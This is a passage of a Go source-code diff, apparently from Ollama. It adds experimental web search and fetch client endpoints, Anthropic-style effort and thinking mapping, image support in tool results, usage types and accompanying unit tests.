+			t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
+		}
+		var req api.WebFetchRequest
+		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+			t.Fatal(err)
+		}
+		if req.URL != "https://ollama.com" {
+			t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
+		}
+		if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
+			Title:   "Ollama",
+			Content: strings.Repeat("x", maxWebFetchContentRunes+25),
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+	t.Setenv("OLLAMA_HOST", ts.URL)
+
+	result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
+		"url": "https://ollama.com",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(result.Content, "omitted ~7 tokens") ||
+		!strings.Contains(result.Content, "Use a narrower request or search query") {
+		t.Fatalf("content missing truncation marker: %q", result.Content)
+	}
+	if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
+		t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
+	}
+}
+
+func TestWebToolsRejectWhenCloudDisabled(t *testing.T) {
+	t.Setenv("OLLAMA_NO_CLOUD", "1")
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := tt.tool.Execute(t.Context(), coreagent.ToolContext{}, tt.args)
+			want := internalcloud.DisabledError(tt.operation)
+			if err == nil || err.Error() != want {
+				t.Fatalf("error = %v, want %q", err, want)
+			}
+		})
+	}
+}

anthropic/anthropic.go

@@ -78,6 +78,11 @@ type MessagesRequest struct {
 	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
 	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
 	Metadata      *Metadata       `json:"metadata,omitempty"`
+	OutputConfig  *OutputConfig   `json:"output_config,omitempty"`
+}
+
+type OutputConfig struct {
+	Effort string `json:"effort,omitempty"`
 }
 
 // MessageParam represents a message in the request
@@ -161,7 +166,7 @@ type WebSearchToolResultError struct {
 
 // ImageSource represents the source of an image
 type ImageSource struct {
-	Type      string `json:"type"` // "base64" or "url"
+	Type      string `json:"type"` // "base64"
 	MediaType string `json:"media_type,omitempty"`
 	Data      string `json:"data,omitempty"`
 	URL       string `json:"url,omitempty"`
@@ -373,9 +378,26 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
 	}
 
 	var think *api.ThinkValue
+	normalizedEffort := ""
+	if r.OutputConfig != nil {
+		normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
+		if normalizedEffort == "xhigh" {
+			normalizedEffort = "high"
+		}
+	}
+
 	if r.Thinking != nil && r.Thinking.Type == "enabled" {
 		think = &api.ThinkValue{Value: true}
 	}
+	if r.Thinking != nil && r.Thinking.Type == "disabled" {
+		think = &api.ThinkValue{Value: false}
+	}
+	if think == nil && r.OutputConfig != nil {
+		switch normalizedEffort {
+		case "high", "medium", "low", "max":
+			think = &api.ThinkValue{Value: normalizedEffort}
+		}
+	}
 
 	stream := r.Stream
 	convertedRequest := &api.ChatRequest{
@@ -425,17 +447,12 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 				return nil, errors.New("invalid image source")
 			}
 
-			if block.Source.Type == "base64" {
-				decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
-				if err != nil {
-					logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
-					return nil, fmt.Errorf("invalid base64 image data: %w", err)
-				}
-				images = append(images, decoded)
-			} else {
-				logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
-				return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
+			decoded, err := resolveImageSource(block.Source)
+			if err != nil {
+				logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
+				return nil, err
 			}
+			images = append(images, decoded)
 
 		case "tool_use":
 			toolUseBlocks++
@@ -457,26 +474,16 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 
 		case "tool_result":
 			toolResultBlocks++
-			var resultContent string
-
-			switch c := block.Content.(type) {
-			case string:
-				resultContent = c
-			case []any:
-				for _, cb := range c {
-					if cbMap, ok := cb.(map[string]any); ok {
-						if cbMap["type"] == "text" {
-							if text, ok := cbMap["text"].(string); ok {
-								resultContent += text
-							}
-						}
-					}
-				}
+			resultContent, resultImages, err := convertToolResultContent(block.Content)
+			if err != nil {
+				logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
+				return nil, err
 			}
 
 			toolResults = append(toolResults, api.Message{
 				Role:       "tool",
 				Content:    resultContent,
+				Images:     resultImages,
 				ToolCallID: block.ToolUseID,
 			})
 
@@ -508,6 +515,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 		}
 	}
 
+	if role == "user" && len(toolResults) > 0 {
+		messages = append(messages, toolResults...)
+	}
+
 	if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
 		m := api.Message{
 			Role:      role,
@@ -519,8 +530,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 		messages = append(messages, m)
 	}
 
-	// Add tool results as separate messages
-	messages = append(messages, toolResults...)
+	// Add tool results as separate messages.
+	if role != "user" || len(toolResults) == 0 {
+		messages = append(messages, toolResults...)
+	}
 	logutil.Trace("anthropic: converted block message",
 		"role", role,
 		"blocks", len(msg.Content),
@@ -764,6 +777,18 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 	}
 
 	if r.Message.Thinking != "" && !c.thinkingDone {
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+			c.textStarted = false
+		}
+
 		if !c.thinkingStarted {
 			c.thinkingStarted = true
 			events = append(events, StreamEvent{
@@ -969,6 +994,71 @@ func GenerateMessageID() string {
 	return generateID("msg")
 }
 
+func resolveImageSource(source *ImageSource) (api.ImageData, error) {
+	if source.Type != "base64" {
+		return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
+	}
+
+	decoded, err := base64.StdEncoding.DecodeString(source.Data)
+	if err != nil {
+		return nil, fmt.Errorf("invalid base64 image data: %w", err)
+	}
+
+	return decoded, nil
+}
+
+func convertToolResultContent(content any) (string, []api.ImageData, error) {
+	switch c := content.(type) {
+	case nil:
+		return "", nil, nil
+	case string:
+		return c, nil, nil
+	case []any:
+		var text strings.Builder
+		var images []api.ImageData
+
+		for _, cb := range c {
+			cbMap, ok := cb.(map[string]any)
+			if !ok {
+				continue
+			}
+
+			switch cbMap["type"] {
+			case "text":
+				if t, ok := cbMap["text"].(string); ok {
+					text.WriteString(t)
+				}
+			case "image":
+				rawSource, ok := cbMap["source"].(map[string]any)
+				if !ok {
+					return "", nil, errors.New("invalid tool_result image source")
+				}
+
+				var source ImageSource
+				if rawType, ok := rawSource["type"].(string); ok {
+					source.Type = rawType
+				}
+				if rawMediaType, ok := rawSource["media_type"].(string); ok {
+					source.MediaType = rawMediaType
+				}
+				if rawData, ok := rawSource["data"].(string); ok {
+					source.Data = rawData
+				}
+
+				img, err := resolveImageSource(&source)
+				if err != nil {
+					return "", nil, err
+				}
+				images = append(images, img)
+			}
+		}
+
+		return text.String(), images, nil
+	default:
+		return "", nil, nil
+	}
+}
+
 // ptr returns a pointer to the given string value
 func ptr(s string) *string {
 	return &s

anthropic/anthropic_test.go

@@ -3,6 +3,7 @@ package anthropic
 import (
 	"encoding/base64"
 	"encoding/json"
+	"fmt"
 	"strings"
 	"testing"
 
@@ -271,6 +272,241 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
 	}
 }
 
+func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_img",
+						Content: []any{
+							map[string]any{"type": "text", "text": "Attached image"},
+							map[string]any{
+								"type": "image",
+								"source": map[string]any{
+									"type":       "base64",
+									"media_type": "image/png",
+									"data":       testImage,
+								},
+							},
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_img" {
+		t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "Attached image" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+	if len(msg.Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(msg.Images))
+	}
+	if string(msg.Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:  "tool_use",
+						ID:    "call_read",
+						Name:  "Read",
+						Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
+					},
+				},
+			},
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_read",
+						Content:   "Read image (311.5KB)",
+					},
+					{
+						Type: "text",
+						Text: ptr("Please describe it."),
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 3 {
+		t.Fatalf("expected 3 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[1].Role != "tool" {
+		t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
+	}
+	if result.Messages[1].ToolCallID != "call_read" {
+		t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
+	}
+	if result.Messages[2].Role != "user" {
+		t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
+	}
+	if result.Messages[2].Content != "Please describe it." {
+		t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high', got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "xhigh",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "disabled",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set")
+	}
+
+	if got := result.Think.Value; got != false {
+		t.Fatalf("expected think=false when thinking is disabled, got %v", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "adaptive",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
+	}
+}
+
 func TestFromMessagesRequest_WithTools(t *testing.T) {
 	req := MessagesRequest{
 		Model:     "test-model",
@@ -905,6 +1141,56 @@ func TestStreamConverter_ThinkingDirectlyFollowedByToolCall(t *testing.T) {
 	}
 }
 
+func TestStreamConverter_TextBeforeThinking(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	responses := []api.ChatResponse{
+		{Message: api.Message{Role: "assistant", Content: "---\n"}},
+		{Message: api.Message{Role: "assistant", Thinking: "Let me think."}},
+		{
+			Message:    api.Message{Role: "assistant", Content: "The answer."},
+			Done:       true,
+			DoneReason: "stop",
+			Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+		},
+	}
+
+	var got []string
+	for _, response := range responses {
+		for _, event := range conv.Process(response) {
+			switch data := event.Data.(type) {
+			case ContentBlockStartEvent:
+				got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.ContentBlock.Type, data.Index))
+			case ContentBlockDeltaEvent:
+				got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.Delta.Type, data.Index))
+			case ContentBlockStopEvent:
+				got = append(got, fmt.Sprintf("%s:%d", event.Event, data.Index))
+			default:
+				got = append(got, event.Event)
+			}
+		}
+	}
+
+	want := []string{
+		"message_start",
+		"content_block_start:text:0",
+		"content_block_delta:text_delta:0",
+		"content_block_stop:0",
+		"content_block_start:thinking:1",
+		"content_block_delta:thinking_delta:1",
+		"content_block_stop:1",
+		"content_block_start:text:2",
+		"content_block_delta:text_delta:2",
+		"content_block_stop:2",
+		"message_delta",
+		"message_stop",
+	}
+
+	if diff := cmp.Diff(want, got); diff != "" {
+		t.Fatalf("unexpected stream events (-want +got):\n%s", diff)
+	}
+}
+
 func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
 	// Test that unmarshalable arguments (like channels) are handled gracefully
 	// and don't cause a panic or corrupt stream

api/client.go

@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
 		}
 	}
 
+	if err := scanner.Err(); err != nil {
+		return err
+	}
+
 	return nil
 }
 
@@ -469,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
 	return &status, nil
 }
 
+// WebSearchExperimental searches the web through the local server's
+// experimental web search endpoint.
+func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
+	var resp WebSearchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
+// WebFetchExperimental fetches web page content through the local server's
+// experimental web fetch endpoint.
+func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
+	var resp WebFetchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
 // Signout will signout a client for a local ollama server.
 func (c *Client) Signout(ctx context.Context) error {
 	return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
@@ -486,3 +510,13 @@ func (c *Client) Whoami(ctx context.Context) (*UserResponse, error) {
 	}
 	return &resp, nil
 }
+
+// Usage returns the authenticated user's recent activity and included-usage
+// limits.
+func (c *Client) Usage(ctx context.Context) (*UsageResponse, error) {
+	var resp UsageResponse
+	if err := c.do(ctx, http.MethodGet, "/api/usage", nil, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}

api/client_test.go

@@ -3,6 +3,7 @@ package api
 import (
 	"encoding/json"
 	"fmt"
+	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/url"
@@ -50,6 +51,32 @@ func TestClientFromEnvironment(t *testing.T) {
 	}
 }
 
+func TestClientUsage(t *testing.T) {
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.Method != http.MethodGet || r.URL.Path != "/api/usage" {
+			t.Fatalf("request = %s %s, want GET /api/usage", r.Method, r.URL.Path)
+		}
+		fmt.Fprint(w, `{"activity":{"cost":"0.00709","period":{"type":"last_4_weeks","starting_at":"2026-06-29T00:00:00Z","ending_at":"2026-07-27T00:00:00Z"},"models":[{"name":"qwen3-coder:480b","request_count":1,"cost":"0.00709"}]},"limits":{"session":{"usage":0.006,"models":[]},"weekly":{"usage":0,"models":[]}}}`)
+	}))
+	defer ts.Close()
+
+	base, err := url.Parse(ts.URL)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	got, err := NewClient(base, ts.Client()).Usage(t.Context())
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got.Activity.Cost != "0.00709" {
+		t.Errorf("activity cost = %q, want 0.00709", got.Activity.Cost)
+	}
+	if len(got.Activity.Models) != 1 || got.Activity.Models[0].Name != "qwen3-coder:480b" {
+		t.Errorf("activity models = %#v, want qwen3-coder:480b", got.Activity.Models)
+	}
+}
+
 // testError represents an internal error type with status code and message
 // this is used since the error response from the server is not a standard error struct
 type testError struct {
@@ -192,6 +219,35 @@ func TestClientStream(t *testing.T) {
 	}
 }
 
+func TestClientStreamReportsReadErrors(t *testing.T) {
+	client := NewClient(
+		&url.URL{Scheme: "http", Host: "example.com"},
+		&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
+			body := failingReader{
+				data: []byte(`{"message":{"content":"partial"}}` + "\n"),
+				err:  io.ErrUnexpectedEOF,
+			}
+
+			return &http.Response{
+				StatusCode: http.StatusOK,
+				Status:     "200 OK",
+				Body:       io.NopCloser(&body),
+				Header:     make(http.Header),
+			}, nil
+		})},
+	)
+
+	err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
+		return nil
+	})
+	if err == nil {
+		t.Fatal("expected stream read error")
+	}
+	if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
+		t.Fatalf("expected unexpected EOF, got %v", err)
+	}
+}
+
 func TestClientDo(t *testing.T) {
 	testCases := []struct {
 		name           string
@@ -320,3 +376,99 @@ func TestClientDo(t *testing.T) {
 		})
 	}
 }
+
+func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebSearchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebSearchResponse{
+			Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_search" {
+		t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
+	}
+	if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebFetchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebFetchResponse{
+			Title:   "Ollama",
+			Content: "models",
+			Links:   []string{"https://ollama.com/library"},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_fetch" {
+		t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
+	}
+	if gotRequest.URL != "https://ollama.com" {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if resp.Title != "Ollama" || resp.Content != "models" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+type roundTripFunc func(*http.Request) (*http.Response, error)
+
+func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+	return f(req)
+}
+
+type failingReader struct {
+	data []byte
+	err  error
+}
+
+func (r *failingReader) Read(p []byte) (int, error) {
+	if len(r.data) > 0 {
+		n := copy(p, r.data)
+		r.data = r.data[n:]
+		return n, nil
+	}
+	return 0, r.err
+}

api/types.go

@@ -600,12 +600,13 @@ type Options struct {
 
 // Runner options which must be set when the model is loaded into memory
 type Runner struct {
-	NumCtx    int   `json:"num_ctx,omitempty"`
-	NumBatch  int   `json:"num_batch,omitempty"`
-	NumGPU    int   `json:"num_gpu,omitempty"`
-	MainGPU   int   `json:"main_gpu,omitempty"`
-	UseMMap   *bool `json:"use_mmap,omitempty"`
-	NumThread int   `json:"num_thread,omitempty"`
+	NumCtx          int   `json:"num_ctx,omitempty"`
+	NumBatch        int   `json:"num_batch,omitempty"`
+	NumGPU          int   `json:"num_gpu,omitempty"`
+	MainGPU         *int  `json:"main_gpu,omitempty"`
+	UseMMap         *bool `json:"use_mmap,omitempty"`
+	NumThread       int   `json:"num_thread,omitempty"`
+	DraftNumPredict int   `json:"draft_num_predict,omitempty"`
 }
 
 // EmbedRequest is the request passed to [Client.Embed].
@@ -672,6 +673,9 @@ type CreateRequest struct {
 	// Quantize is the quantization format for the model; leave blank to not change the quantization level.
 	Quantize string `json:"quantize,omitempty"`
 
+	// DraftQuantize is the quantization format for the draft model.
+	DraftQuantize string `json:"draft_quantize,omitempty"`
+
 	// From is the name of the model or file to use as the source.
 	From string `json:"from,omitempty"`
 
@@ -681,6 +685,9 @@ type CreateRequest struct {
 	// Files is a map of files include when creating the model.
 	Files map[string]string `json:"files,omitempty"`
 
+	// DraftFiles is a map of draft model files to include when creating the model.
+	DraftFiles map[string]string `json:"draft_files,omitempty"`
+
 	// Adapters is a map of LoRA adapters to include when creating the model.
 	Adapters map[string]string `json:"adapters,omitempty"`
 
@@ -824,14 +831,15 @@ type ProcessResponse struct {
 
 // ListModelResponse is a single model description in [ListResponse].
 type ListModelResponse struct {
-	Name        string       `json:"name"`
-	Model       string       `json:"model"`
-	RemoteModel string       `json:"remote_model,omitempty"`
-	RemoteHost  string       `json:"remote_host,omitempty"`
-	ModifiedAt  time.Time    `json:"modified_at"`
-	Size        int64        `json:"size"`
-	Digest      string       `json:"digest"`
-	Details     ModelDetails `json:"details,omitempty"`
+	Name         string             `json:"name"`
+	Model        string             `json:"model"`
+	RemoteModel  string             `json:"remote_model,omitempty"`
+	RemoteHost   string             `json:"remote_host,omitempty"`
+	ModifiedAt   time.Time          `json:"modified_at"`
+	Size         int64              `json:"size"`
+	Digest       string             `json:"digest"`
+	Details      ModelDetails       `json:"details,omitempty"`
+	Capabilities []model.Capability `json:"capabilities,omitempty"`
 }
 
 // ProcessModelResponse is a single model description in [ProcessResponse].
@@ -860,6 +868,36 @@ type StatusResponse struct {
 	Cloud CloudStatus `json:"cloud"`
 }
 
+// WebSearchRequest is the request for [Client.WebSearchExperimental].
+type WebSearchRequest struct {
+	Query      string `json:"query"`
+	MaxResults int    `json:"max_results,omitempty"`
+}
+
+// WebSearchResult is a single result from [Client.WebSearchExperimental].
+type WebSearchResult struct {
+	Title   string `json:"title"`
+	URL     string `json:"url"`
+	Content string `json:"content"`
+}
+
+// WebSearchResponse is the response from [Client.WebSearchExperimental].
+type WebSearchResponse struct {
+	Results []WebSearchResult `json:"results"`
+}
+
+// WebFetchRequest is the request for [Client.WebFetchExperimental].
+type WebFetchRequest struct {
+	URL string `json:"url"`
+}
+
+// WebFetchResponse is the response from [Client.WebFetchExperimental].
+type WebFetchResponse struct {
+	Title   string   `json:"title"`
+	Content string   `json:"content"`
+	Links   []string `json:"links,omitempty"`
+}
+
 // GenerateResponse is the response passed into [GenerateResponseFunc].
 type GenerateResponse struct {
 	// Model is the model name that generated the response.
@@ -924,6 +962,8 @@ type ModelDetails struct {
 	Families          []string `json:"families"`
 	ParameterSize     string   `json:"parameter_size"`
 	QuantizationLevel string   `json:"quantization_level"`
+	ContextLength     int      `json:"context_length,omitempty"`
+	EmbeddingLength   int      `json:"embedding_length,omitempty"`
 }
 
 // UserResponse provides information about a user.
@@ -938,6 +978,45 @@ type UserResponse struct {
 	Plan      string    `json:"plan,omitempty"`
 }
 
+// UsageResponse reports recent activity and included-usage limits.
+type UsageResponse struct {
+	Activity UsageActivity `json:"activity"`
+	Limits   UsageLimits   `json:"limits"`
+}
+
+// UsageActivity reports usage activity over a period.
+type UsageActivity struct {
+	Cost   string       `json:"cost"`
+	Period UsagePeriod  `json:"period"`
+	Models []UsageModel `json:"models"`
+}
+
+// UsagePeriod describes the time window the usage covers.
+type UsagePeriod struct {
+	Type       string    `json:"type"`
+	StartingAt time.Time `json:"starting_at"`
+	EndingAt   time.Time `json:"ending_at"`
+}
+
+// UsageLimits reports included usage for the current session and week.
+type UsageLimits struct {
+	Session UsageLimit `json:"session"`
+	Weekly  UsageLimit `json:"weekly"`
+}
+
+// UsageLimit reports the consumed fraction of an included-usage limit.
+type UsageLimit struct {
+	Usage  float64      `json:"usage"`
+	Models []UsageModel `json:"models"`
+}
+
+// UsageModel reports a model's activity.
+type UsageModel struct {
+	Name         string `json:"name"`
+	RequestCount int    `json:"request_count"`
+	Cost         string `json:"cost,omitempty"`
+}
+
 // Tensor describes the metadata for a given tensor.
 type Tensor struct {
 	Name  string   `json:"name"`
@@ -1046,14 +1125,25 @@ func (opts *Options) FromMap(m map[string]any) error {
 				}
 				field.Set(reflect.ValueOf(slice))
 			case reflect.Pointer:
-				var b bool
-				if field.Type() == reflect.TypeOf(&b) {
+				switch field.Type().Elem().Kind() {
+				case reflect.Bool:
 					val, ok := val.(bool)
 					if !ok {
 						return fmt.Errorf("option %q must be of type boolean", key)
 					}
 					field.Set(reflect.ValueOf(&val))
-				} else {
+				case reflect.Int:
+					var i int
+					switch t := val.(type) {
+					case int64:
+						i = int(t)
+					case float64:
+						i = int(t)
+					default:
+						return fmt.Errorf("option %q must be of type integer", key)
+					}
+					field.Set(reflect.ValueOf(&i))
+				default:
 					return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
 				}
 			default:
@@ -1086,11 +1176,12 @@ func DefaultOptions() Options {
 
 		Runner: Runner{
 			// options set when the model is loaded
-			NumCtx:    int(envconfig.ContextLength()),
-			NumBatch:  512,
-			NumGPU:    -1, // -1 here indicates that NumGPU should be set dynamically
-			NumThread: 0,  // let the runtime decide
-			UseMMap:   nil,
+			NumCtx:          int(envconfig.ContextLength()),
+			NumBatch:        512,
+			NumGPU:          -1, // -1 here indicates that NumGPU should be set dynamically
+			NumThread:       0,  // let the runtime decide
+			DraftNumPredict: 4,
+			UseMMap:         nil,
 		},
 	}
 }
@@ -1294,14 +1385,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
 					// TODO: only string slices are supported right now
 					out[key] = vals
 				case reflect.Pointer:
-					var b bool
-					if field.Type() == reflect.TypeOf(&b) {
+					switch field.Type().Elem().Kind() {
+					case reflect.Bool:
 						boolVal, err := strconv.ParseBool(vals[0])
 						if err != nil {
 							return nil, fmt.Errorf("invalid bool value %s", vals)
 						}
 						out[key] = &boolVal
-					} else {
+					case reflect.Int:
+						intVal, err := strconv.ParseInt(vals[0], 10, 64)
+						if err != nil {
+							return nil, fmt.Errorf("invalid int value %s", vals)
+						}
+						out[key] = intVal
+					default:
 						return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
 					}
 				default:

api/types_test.go

